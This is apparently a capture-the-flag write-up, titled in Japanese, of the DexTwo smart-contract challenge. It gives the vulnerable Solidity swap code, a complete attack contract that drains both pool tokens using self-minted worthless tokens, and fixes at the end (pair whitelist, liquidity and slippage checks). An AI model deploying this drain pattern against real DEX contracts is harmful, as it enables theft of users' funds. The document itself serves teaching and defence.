DexTwo CTF課題解析：流動性プール設計の脆弱性を利用してトークン準備を枯渇させる方法 #

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";

contract DexTwo is Ownable {
    address public token1;
    address public token2;
    
    // ... その他の関数
}

function swap(address from, address to, uint256 amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint256 swapAmount = getSwapAmount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

function getSwapAmount(address from, address to, uint256 amount) public view returns (uint256) {
    return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IDexTwo {
    function token1() external view returns (address);
    function token2() external view returns (address);
    function swap(address from, address to, uint256 amount) external;
}

contract Hack {
    IDexTwo private immutable target;
    IERC20 private immutable t1;
    IERC20 private immutable t2;
    
    constructor(address _target) {
        target = IDexTwo(_target);
        t1 = IERC20(target.token1());
        t2 = IERC20(target.token2());
        
        // 2種類の攻撃用トークンをデプロイ
        SwappableTokenTwo attackToken1 = new SwappableTokenTwo(
            address(target), 
            "Attack Token 1", 
            "ATK1", 
            10000
        );
        
        SwappableTokenTwo attackToken2 = new SwappableTokenTwo(
            address(target), 
            "Attack Token 2", 
            "ATK2", 
            10000
        );
        
        // DEXに1個ずつ攻撃トークンを転送
        attackToken1.transfer(address(target), 1);
        attackToken2.transfer(address(target), 1);
        
        // DEXに攻撃トークンの使用を承認
        attackToken1.approve(address(target), 1);
        attackToken2.approve(address(target), 1);
        
        // 攻撃実行：1個の攻撃トークンでtoken1全量を交換
        target.swap(address(attackToken1), address(t1), 1);
        
        // 攻撃実行：1個の攻撃トークンでtoken2全量を交換
        target.swap(address(attackToken2), address(t2), 1);
    }
}

contract SwappableTokenTwo is ERC20 {
    address private _dex;
    
    constructor(
        address dexInstance, 
        string memory name, 
        string memory symbol, 
        uint256 initialSupply
    ) ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
    }
    
    function approve(address owner, address spender, uint256 amount) public {
        require(owner != _dex, "InvalidApprover");
        super._approve(owner, spender, amount);
    }
}

function swap(address from, address to, uint256 amount) public {
    require(
        (from == token1 && to == token2) || (from == token2 && to == token1),
        "Invalid token pair"
    );
    // ... 既存ロジック
}

function getSwapAmount(address from, address to, uint256 amount) public view returns (uint256) {
    uint256 fromBalance = IERC20(from).balanceOf(address(this));
    uint256 toBalance = IERC20(to).balanceOf(address(this));
    
    require(fromBalance > 0, "Insufficient liquidity for from token");
    require(toBalance > 0, "Insufficient liquidity for to token");
    
    return (amount * toBalance) / fromBalance;
}

function swap(
    address from, 
    address to, 
    uint256 amount, 
    uint256 minReturn
) public {
    uint256 swapAmount = getSwapAmount(from, to, amount);
    require(swapAmount >= minReturn, "Slippage too high");
    // ... 交換ロジック
}